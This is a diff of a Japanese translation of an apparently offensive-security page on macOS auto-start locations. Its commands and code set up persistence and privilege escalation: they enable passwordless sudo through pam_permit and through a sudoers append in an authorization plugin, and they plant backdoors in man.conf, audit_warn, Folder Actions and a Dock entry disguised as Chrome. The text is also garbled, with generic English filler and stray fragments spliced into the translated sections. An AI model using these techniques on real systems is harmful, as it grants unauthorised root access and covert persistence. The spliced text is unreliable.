[🟠](https://emojipedia.org/large-orange-circle) +* デスクトップ、ドキュメント、ダウンロードなど、いくつかの基本的なTCC権限があります #### 位置 -- **`/Library/Scripts/Folder Action Scripts`** -- ルート権限が必要 -- **トリガー**: 指定されたフォルダへのアクセス -- **`~/Library/Scripts/Folder Action Scripts`** -- **トリガー**: 指定されたフォルダへのアクセス +* **`/Library/Scripts/Folder Action Scripts`** +* ルートが必要 +* **トリガー**: 指定されたフォルダへのアクセス +* **`~/Library/Scripts/Folder Action Scripts`** +* **トリガー**: 指定されたフォルダへのアクセス #### 説明と悪用 -フォルダアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりサイズ変更など)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。 +フォルダアクションは、フォルダ内の変更(アイテムの追加、削除、フォルダウィンドウの開いたりリサイズなど)によって自動的にトリガーされるスクリプトです。これらのアクションはさまざまなタスクに利用でき、Finder UIやターミナルコマンドを使用してトリガーできます。 フォルダアクションを設定する方法には、次のようなオプションがあります: 1. [Automator](https://support.apple.com/guide/automator/welcome/mac)を使用してフォルダアクションワークフローを作成し、サービスとしてインストールする。 -2. フォルダのコンテキストメニューの「フォルダアクションの設定」を使用して、スクリプトを手動で添付する。 -3. `System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用して、プログラムでフォルダアクションを設定する。 -- この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。 +2. フォルダのコンテキストメニュー内のフォルダアクション設定を介してスクリプトを手動で添付する。 +3. プログラムでフォルダアクションを設定するために`System Events.app`にApple Eventメッセージを送信するためにOSAScriptを利用する。 +* この方法は、アクションをシステムに埋め込んで持続性を提供するのに特に便利です。 以下のスクリプトは、フォルダアクションで実行できる例です: ```applescript @@ -785,7 +762,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトはフォルダアクションをグローバルに有効にし、以前にコンパイルされたスクリプトをデスクトップフォルダに特定してアタッチします。 +スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトはフォルダアクションをグローバルに有効にし、事前にコンパイルされたスクリプトをデスクトップフォルダに特定の添付します。 ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -821,34 +798,34 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123"); mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼びました): +その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼びました): -
+
これで、**Finder**でそのフォルダを開くと、スクリプトが実行されます。 -この設定は、**base64形式**で保存された**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**に格納されています。 +この設定は、**base64形式**で`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`に保存されています。 -次に、GUIアクセスなしでこの永続性を準備しましょう: +次に、GUIアクセスなしでこの永続性を準備しよう: -1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**を`/tmp`にバックアップするためにコピーします: +1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**をバックアップするために`/tmp`にコピーします: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. さきほど設定したフォルダアクションを**削除**します: +2. さっき設定したフォルダアクションを**削除**します: -
+
これで空の環境ができました -3. バックアップファイルをコピーします: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. この構成を適用するためにFolder Actions Setup.appを開きます: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. バックアップファイルをコピーします:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. この設定を適用するためにFolder Actions Setup.appを開きます:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} -私にはうまくいきませんでしたが、これがライティングアップからの指示です:( +私にはうまくいきませんでしたが、これがライートアップからの指示です:( {% endhint %} -### ドックのショートカット +### Dockショートカット -ライティングアップ: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) * サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button) * ただし、システム内に悪意のあるアプリケーションをインストールしている必要があります @@ -857,13 +834,13 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" #### 位置 * `~/Library/Preferences/com.apple.dock.plist` -* **トリガー**: ユーザーがドック内のアプリをクリックしたとき +* **トリガー**: ユーザーがDock内のアプリをクリックしたとき #### 説明と悪用 Dockに表示されるすべてのアプリケーションは、**`~/Library/Preferences/com.apple.dock.plist`**内で指定されています。 -**アプリケーションを追加**することが可能です: +**アプリケーションを追加**することが可能です: {% code overflow="wrap" %} ```bash @@ -875,7 +852,7 @@ killall Dock ``` {% endcode %} -いくつかの**ソーシャルエンジニアリング**を使用して、ドック内でGoogle Chromeなどを**偽装**し、実際に独自のスクリプトを実行できます: +**ソーシャルエンジニアリング**を使用すると、ドック内で**Google Chromeを装った**ように見せかけて、実際に自分のスクリプトを実行することができます。 ```bash #!/bin/sh @@ -934,7 +911,7 @@ killall Dock * サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) * 非常に特定のアクションが必要 -* 別のサンドボックスに入る +* 別のサンドボックスに入ることになる * TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -947,9 +924,9 @@ killall Dock #### 説明とエクスプロイト -**コードと一緒にカラーピッカー**バンドルをコンパイルします(例: [**こちらを使用できます**](https://github.com/viktorstrate/color-picker-plus))そしてコンストラクタを追加します([スクリーンセーバーのセクション](macos-auto-start-locations.md#screen-saver)のように)バンドルを`~/Library/ColorPickers`にコピーします。 +**コードと一緒にカラーピッカー**バンドルをコンパイルします(例: [**こちらを使用できます**](https://github.com/viktorstrate/color-picker-plus))そしてコンストラクタを追加します([スクリーンセーバーセクション](macos-auto-start-locations.md#screen-saver)のように)バンドルを`~/Library/ColorPickers`にコピーします。 -その後、カラーピッカーがトリガーされると、あなたのコードも実行されます。 +その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。 あなたのライブラリをロードするバイナリには**非常に制限の厳しいサンドボックス**があることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` @@ -980,21 +957,21 @@ killall Dock Finder Sync Extensionを持つアプリケーションの例は[**こちらで見つけることができます**](https://github.com/D00MFist/InSync)。 -アプリケーションには`Finder Sync Extensions`を持つことができます。この拡張機能は、実行されるアプリケーション内に配置されます。さらに、拡張機能がコードを実行できるようにするには、いくつかの有効なApple開発者証明書で**署名されている必要があり**、**サンドボックス化**されている必要があります(緩和された例外が追加される場合があります)、そして次のようなものに登録されている必要があります: +アプリケーションには`Finder Sync Extensions`を持つことができます。この拡張機能は、実行されるアプリケーション内に配置されます。さらに、拡張機能がコードを実行できるようにするには、いくつかの有効なApple開発者証明書で**署名されている必要があり**、**サンドボックス化**されている必要があります(緩和された例外が追加される可能性があります)、そして次のようなものに登録されている必要があります: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` ### スクリーンセーバー -解説: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ -解説: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ +Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) * サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) * ただし、一般的なアプリケーションサンドボックスに入る * TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### 位置 +#### ロケーション * `/System/Library/Screen Savers` * ルート権限が必要 @@ -1005,7 +982,7 @@ pluginkit -e use -i com.example.InSync.InSync * `~/Library/Screen Savers` * **トリガー**: スクリーンセーバーを選択 -
+
#### 説明とエクスプロイト @@ -1098,33 +1075,33 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) -* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +* 便利なサンドボックス回避に使用: [🟠](https://emojipedia.org/large-orange-circle) * ただし、アプリケーションのサンドボックスに入ることになります -* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) -* サンドボックスは非常に制限されているようです +* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) +* サンドボックスは非常に制限されています #### 位置 * `~/Library/Spotlight/` -* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合 +* **トリガー**: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。 * `/Library/Spotlight/` -* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合 +* **トリガー**: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。 * ルート権限が必要 * `/System/Library/Spotlight/` -* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合 +* **トリガー**: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。 * ルート権限が必要 * `Some.app/Contents/Library/Spotlight/` -* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合 +* **トリガー**: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。 * 新しいアプリが必要 #### 説明と悪用 -Spotlight は macOS の組み込み検索機能で、ユーザーに**コンピュータ上のデータへの迅速かつ包括的なアクセス**を提供するよう設計されています。\ -この迅速な検索機能を可能にするために、Spotlight は**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索できるようにします。 +SpotlightはmacOSの組み込み検索機能で、ユーザーに**コンピュータ上のデータへの迅速かつ包括的なアクセス**を提供するよう設計されています。\ +この迅速な検索機能を可能にするために、Spotlightは**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索できるようにします。 -Spotlight の基本的なメカニズムには、'mds' という中央プロセスが関与しており、これは**'メタデータサーバ'**の略称です。このプロセスは、Spotlight サービス全体を統括しています。これに加えて、複数の 'mdworker' デーモンが存在し、異なるファイルタイプをインデックス化するなどのさまざまなメンテナンスタスクを実行します(`ps -ef | grep mdworker`)。これらのタスクは、Spotlight インポータープラグインまたは**".mdimporter バンドル"**によって可能にされ、Spotlight がさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。 +Spotlightの基本メカニズムには、'mds'という中央プロセスが関与しており、これは**'メタデータサーバ'**の略称です。このプロセスはSpotlightサービス全体を統括します。これに加えて、異なるファイルタイプをインデックス化するなどのさまざまなメンテナンスタスクを実行する複数の'mdworker'デーモンが存在します(`ps -ef | grep mdworker`)。これらのタスクは、Spotlightインポータープラグインまたは**".mdimporterバンドル**"によって可能にされ、Spotlightがさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。 -プラグインまたは**`.mdimporter`** バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子を示さなければならず**、このようにして、指定された拡張子の新しいファイルが作成されたときに Spotlight がそれらを使用します。 +プラグインまたは**`.mdimporter`**バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子を示さなければならず**、このようにして、指定された拡張子の新しいファイルが作成されるとSpotlightがそれらを使用します。 すべての**`mdimporters`**を見つけることができます。実行中: ```bash @@ -1172,15 +1149,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] ``` {% hint style="danger" %} -他の `mdimporter` の Plist をチェックすると、**`UTTypeConformsTo`** エントリが見つからないことがあります。これは組み込みの _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) であり、拡張子を指定する必要がないためです。 +他の`mdimporter`のPlistをチェックすると、**`UTTypeConformsTo`**エントリが見つからないことがあります。これは組み込みの_Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier))であり、拡張子を指定する必要がないためです。 -さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者は Apple の `mdimporters` によってインデックス付けされていないファイルにのみアクセスできます。 +さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者はAppleの独自の`mdimporters`によってインデックス付けされていないファイルにのみアクセスできます。 {% endhint %} -独自のインポータを作成するには、このプロジェクトを使用して開始できます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、その後、名前を変更し、**`CFBundleDocumentTypes`** を変更し、**`UTImportedTypeDeclarations`** を追加してサポートしたい拡張子をサポートし、**`schema.xml`** でそれらを反映させます。\ -その後、**`GetMetadataForFile`** 関数のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。 +独自のインポータを作成するには、このプロジェクトから始めることができます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、そして名前を変更し、**`CFBundleDocumentTypes`**を変更し、**`UTImportedTypeDeclarations`**を追加して、サポートしたい拡張子をサポートし、**`schema.xml`**でそれらを反映させます。\ +その後、**`GetMetadataForFile`**関数のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行するようにします。 -最後に、新しい `.mdimporter` を 3 つの前述の場所のいずれかにビルドしてコピーし、**ログを監視**するか、**`mdimport -L.`** をチェックしてロードされているかどうかを確認できます。 +最後に、新しい`.mdimporter`をビルドしてコピーし、以前のいずれかの場所に配置し、**ログを監視**するか、**`mdimport -L`**をチェックしてロードされているかどうかを確認できます。 ### ~~Preference Pane~~ @@ -1191,8 +1168,8 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist 解説: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/) * サンドボックス回避に便利: [🟠](https://emojipedia.org/large-orange-circle) -* 特定のユーザーアクションが必要 -* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) +* 特定のユーザーアクションが必要です +* TCC回避: [🔴](https://emojipedia.org/large-red-circle) #### 位置 @@ -1207,7 +1184,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist ## Root Sandbox Bypass {% hint style="success" %} -ここでは、**サンドボックス回避** に役立つスタート位置を見つけることができます。**ファイルに書き込むことで** 単純に何かを実行できる **root** であることや他の **奇妙な条件** を必要とします。 +ここでは、**サンドボックス回避**に役立つ**開始位置**を見つけることができます。これにより、**ファイルに書き込むことで**単純に何かを実行できます。**root**であることや他の**奇妙な条件**が必要です。 {% endhint %} ### 定期的 @@ -1215,21 +1192,21 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist 解説: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/) * サンドボックス回避に便利: [🟠](https://emojipedia.org/large-orange-circle) -* ただし、root 権限が必要です -* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle) +* ただし、rootである必要があります +* TCC回避: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` -* root 権限が必要 +* root権限が必要 * **トリガー**: 時間が来たとき -* `/etc/daily.local`, `/etc/weekly.local` または `/etc/monthly.local` -* root 権限が必要 +* `/etc/daily.local`, `/etc/weekly.local`または`/etc/monthly.local` +* root権限が必要 * **トリガー**: 時間が来たとき #### 説明と悪用 -定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` で構成された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトはファイルの所有者として **実行** されるため、潜在的な特権昇格には機能しません。 +定期スクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`で構成された**ランチデーモン**によって実行されます。`/etc/periodic/`に保存されたスクリプトはファイルの所有者として**実行**されるため、潜在的な特権昇格には機能しません。 ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1262,54 +1239,39 @@ total 8 ``` {% endcode %} -他にも実行される定期的なスクリプトがあり、**`/etc/defaults/periodic.conf`** に記載されています。 +**`/etc/defaults/periodic.conf`**に記載されている実行される他の定期スクリプトがあります: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` -```markdown -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +`/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`のいずれかのファイルを書き換えることができれば、**sooner or later実行されます**。 {% hint style="warning" %} -Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +定期スクリプトは**スクリプトの所有者として実行**されます。したがって、通常のユーザーがスクリプトの所有者である場合、そのユーザーとして実行されます(これにより特権昇格攻撃が防止される可能性があります)。 {% endhint %} ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) +Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/) -* Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) -* But you need to be root -* TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +* ただし、rootである必要があります +* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 位置 -* Root always required +* 常にRootが必要 -#### Description & Exploitation +#### 説明と悪用 -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: -``` +PAMはmacOS内での簡単な実行よりも**持続性**とマルウェアに焦点を当てているため、このブログではこのテクニックをよりよく理解するために詳細な説明は行いません。 ```bash ls -l /etc/pam.d ``` -## macOS Auto Start Locations - -### macOS Auto Start Locations - -macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations include: - -- **Login Items**: Configured per user in System Preferences > Users & Groups > Login Items. -- **Launch Agents**: Configured per user and run when the user logs in. -- **Launch Daemons**: Configured system-wide and run at system startup. -- **Startup Items**: Deprecated since macOS 10.7. - -To ensure the security of a macOS system, it is important to regularly review and monitor these auto-start locations for any unauthorized or malicious entries. +永続性/特権昇格テクニックは、PAMを悪用することで簡単に行うことができます。/etc/pam.d/sudoモジュールを変更し、冒頭に次の行を追加するだけです: ```bash auth sufficient pam_permit.so ``` @@ -1324,10 +1286,10 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` -したがって、**`sudo`を使用しようとする試みはすべて成功します**。 +そしてしたがって、**`sudo`を使用しようとする試みはすべて成功します**。 {% hint style="danger" %} -このディレクトリはTCCによって保護されているため、ユーザーにアクセスを求めるプロンプトが表示される可能性が非常に高いです。 +このディレクトリはTCCによって保護されているため、ユーザーにアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。 {% endhint %} ### 認可プラグイン @@ -1343,11 +1305,11 @@ session required pam_permit.so * `/Library/Security/SecurityAgentPlugins/` * root権限が必要 -* プラグインを使用するように認可データベースを構成する必要があります +* プラグインを使用するために認可データベースを構成する必要があります #### 説明と悪用 -ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください(悪く書かれたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要があります)。 +ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、以前の解説を確認してください(悪く書かれたプラグインはロックアウトの原因となり、回復モードからMacをクリーンアップする必要があります)。 ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1362,11 +1324,11 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` -**バンドル**をロードされる場所に移動してください: +**バンドル**をロードされる場所に移動してください: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` -最後に、このプラグインをロードする**ルール**を追加します: +最後に、このプラグインをロードする**ルール**を追加してください。 ```bash cat > /tmp/rule.plist < @@ -1385,7 +1347,7 @@ EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` -**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、それをrootユーザーで実行するようにします。 +**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、それをrootによって実行されるようにします。 以下のようにトリガーします: ```bash @@ -1404,18 +1366,18 @@ security authorize com.asdf.asdf #### 位置 * **`/private/etc/man.conf`** -* Rootが必要 +* root権限が必要 * **`/private/etc/man.conf`**: manが使用されるたび #### 説明とエクスプロイト -設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されます。 +設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行される可能性があります。 -例えば、**`/private/etc/man.conf`**に設定: +例えば、**`/private/etc/man.conf`**に設定されています: ``` MANPAGER /tmp/view ``` -その後、`/tmp/view`を以下のように作成します: +その後、`/tmp/view`を次のように作成します: ```bash #!/bin/zsh @@ -1428,7 +1390,7 @@ touch /tmp/manconf **解説**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) * サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) -* ただし、rootである必要があり、apacheが実行中である必要がある +* ただし、rootである必要があり、apacheが実行されている必要がある * TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) * Httpdには権限がない @@ -1440,7 +1402,7 @@ touch /tmp/manconf #### 説明とエクスプロイト -`/etc/apache2/httpd.conf`にモジュールをロードするよう指示することができます。以下のような行を追加します: +`/etc/apache2/httpd.conf` にモジュールをロードするよう指示することができます。次のような行を追加します: {% code overflow="wrap" %} ```bash @@ -1448,13 +1410,13 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` {% endcode %} -これにより、Apacheによってコンパイルされたモジュールがロードされます。唯一の注意点は、**有効なApple証明書で署名する**か、システムに**新しい信頼された証明書を追加**して**それで署名する**必要があることです。 +これにより、コンパイルされたモジュールがApacheによってロードされます。唯一の注意点は、**有効なApple証明書で署名する**か、システムに**新しい信頼された証明書を追加**して**それで署名する**必要があることです。 -必要に応じて、サーバーが起動することを確認するために次のコマンドを実行できます: +その後、サーバーが起動することを確認するために必要な場合は、次のコマンドを実行できます: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` -Dylbのコード例: +コード例はDylb: ```objectivec #include #include @@ -1482,7 +1444,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); #### 説明とエクスプロイト -auditdが警告を検出すると、スクリプト **`/etc/security/audit_warn`** が **実行** されます。したがって、ペイロードを追加することができます。 +auditdが警告を検出すると、スクリプト **`/etc/security/audit_warn`** が **実行** されます。したがって、そこにペイロードを追加できます。 ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1492,12 +1454,15 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn **これは非推奨ですので、これらのディレクトリには何も見つかるべきではありません。** {% endhint %} -**StartupItem**は、`/Library/StartupItems/`または`/System/Library/StartupItems/`のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含む必要があります。 +**StartupItem** は、`/Library/StartupItems/` または `/System/Library/StartupItems/` のいずれかに配置する必要があるディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含める必要があります。 -1. **rcスクリプト**:起動時に実行されるシェルスクリプト。 -2. **plistファイル**:`StartupParameters.plist`という名前のファイルで、さまざまな構成設定を含みます。 +1. **rc スクリプト**:起動時に実行されるシェルスクリプト。 +2. **plist ファイル**:`StartupParameters.plist` という名前のファイルで、さまざまな構成設定を含みます。 -スタートアッププロセスがこれらを認識して利用するために、rcスクリプトと`StartupParameters.plist`ファイルが正しく**StartupItem**ディレクトリ内に配置されていることを確認してください。 +スタートアッププロセスがこれらを認識して利用するために、rc スクリプトと `StartupParameters.plist` ファイルが正しく **StartupItem** ディレクトリ内に配置されていることを確認してください。 + +{% tabs %} +{% tab title="StartupParameters.plist" %} ```xml @@ -1518,13 +1483,29 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn {% tab title="superservicename" %} -### スーパーサービス名 +macOS Auto Start Locations +========================== -- **場所:** `/Library/LaunchDaemons` -- **説明:** このディレクトリには、システム全体で実行されるデーモンの設定ファイルが含まれています。これらのデーモンは、システムが起動するときに自動的に開始されます。 -- **影響:** 悪意のあるデーモンをこのディレクトリに配置すると、それがシステムの起動時に自動的に実行される可能性があります。 -- **検出:** 不審なデーモンファイルを見つけた場合は、それを調査し、必要に応じて削除する必要があります。 -- **防御:** 不要なデーモンを削除し、必要なデーモンの権限を制限して、悪意のある変更を防ぎます。{% endtab %} +macOS provides several locations where programs can be configured to automatically start when a user logs in. These auto-start locations can be leveraged by malware to maintain persistence on a system. It is important to regularly review and monitor these locations to ensure only legitimate programs are set to auto-start. + +### User-Level Auto-Start Locations + +1. **Login Items**: Located in System Preferences > Users & Groups > Login Items, this is the most common location where users can configure programs to auto-start at login. + +2. **Launch Agents**: Located in `~/Library/LaunchAgents`, these are used to launch programs when a user logs in. Malware can install launch agents to achieve persistence. + +3. **Launch Daemons**: Located in `/Library/LaunchDaemons`, these are system-wide launch agents that execute with elevated privileges. Malware may abuse this location for persistence. + +### System-Level Auto-Start Locations + +1. **Startup Items**: Located in `/Library/StartupItems`, these were used in older versions of macOS but are deprecated in macOS 10.11 and later. + +2. **Launch Daemons**: Located in `/Library/LaunchDaemons`, these system-wide launch agents execute with elevated privileges. + +3. **Startup Daemons**: Located in `/System/Library/LaunchDaemons`, these are launch daemons that are critical for the system to boot up properly. + +By monitoring and reviewing these auto-start locations, users can detect and remove any unauthorized or malicious programs that may be configured to auto-start on their macOS system. +{% endtab %} ```bash #!/bin/sh . /etc/rc.common @@ -1543,20 +1524,17 @@ echo "Restarting" RunService "$1" ``` -{% endtab %} -{% endtabs %} - -### emond +### ~~emond~~ {% hint style="danger" %} -私のmacOSにはこのコンポーネントが見つかりません。詳細については、writeupを確認してください。 +私のmacOSではこのコンポーネントを見つけることができませんので、詳細についてはwriteupをチェックしてください {% endhint %} Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/) -Appleによって導入された**emond**は、開発途中であるか、可能性として放棄されているようですが、アクセス可能な状態にあります。Macの管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性手法として機能する可能性があり、おそらくほとんどのmacOS管理者には気付かれないでしょう。 +Appleによって導入された**emond**は、開発が不十分であるか、おそらく放棄されているように見えますが、アクセス可能なままです。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性手法として機能する可能性があり、おそらくほとんどのmacOS管理者には気付かれないでしょう。 -その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのLaunchDaemonは、実行するスクリプトを単一のディレクトリ内で検索します。これを調査するには、次のコマンドを使用できます: +その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのLaunchDaemonは、実行するスクリプトを単一のディレクトリで探します。これを調査するために、次のコマンドを使用できます: ```bash ls -l /private/var/db/emondClients ``` @@ -1572,12 +1550,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit. #### 説明とエクスプロイト -XQuartzは**macOSにはもはやインストールされていません**ので、詳細についてはライトアップをチェックしてください。 +XQuartzは**もはやmacOSにインストールされていません**ので、詳細についてはライトアップをチェックしてください。 ### kext {% hint style="danger" %} -kextをルートとしてインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮することはしません(エクスプロイトがある場合を除く) 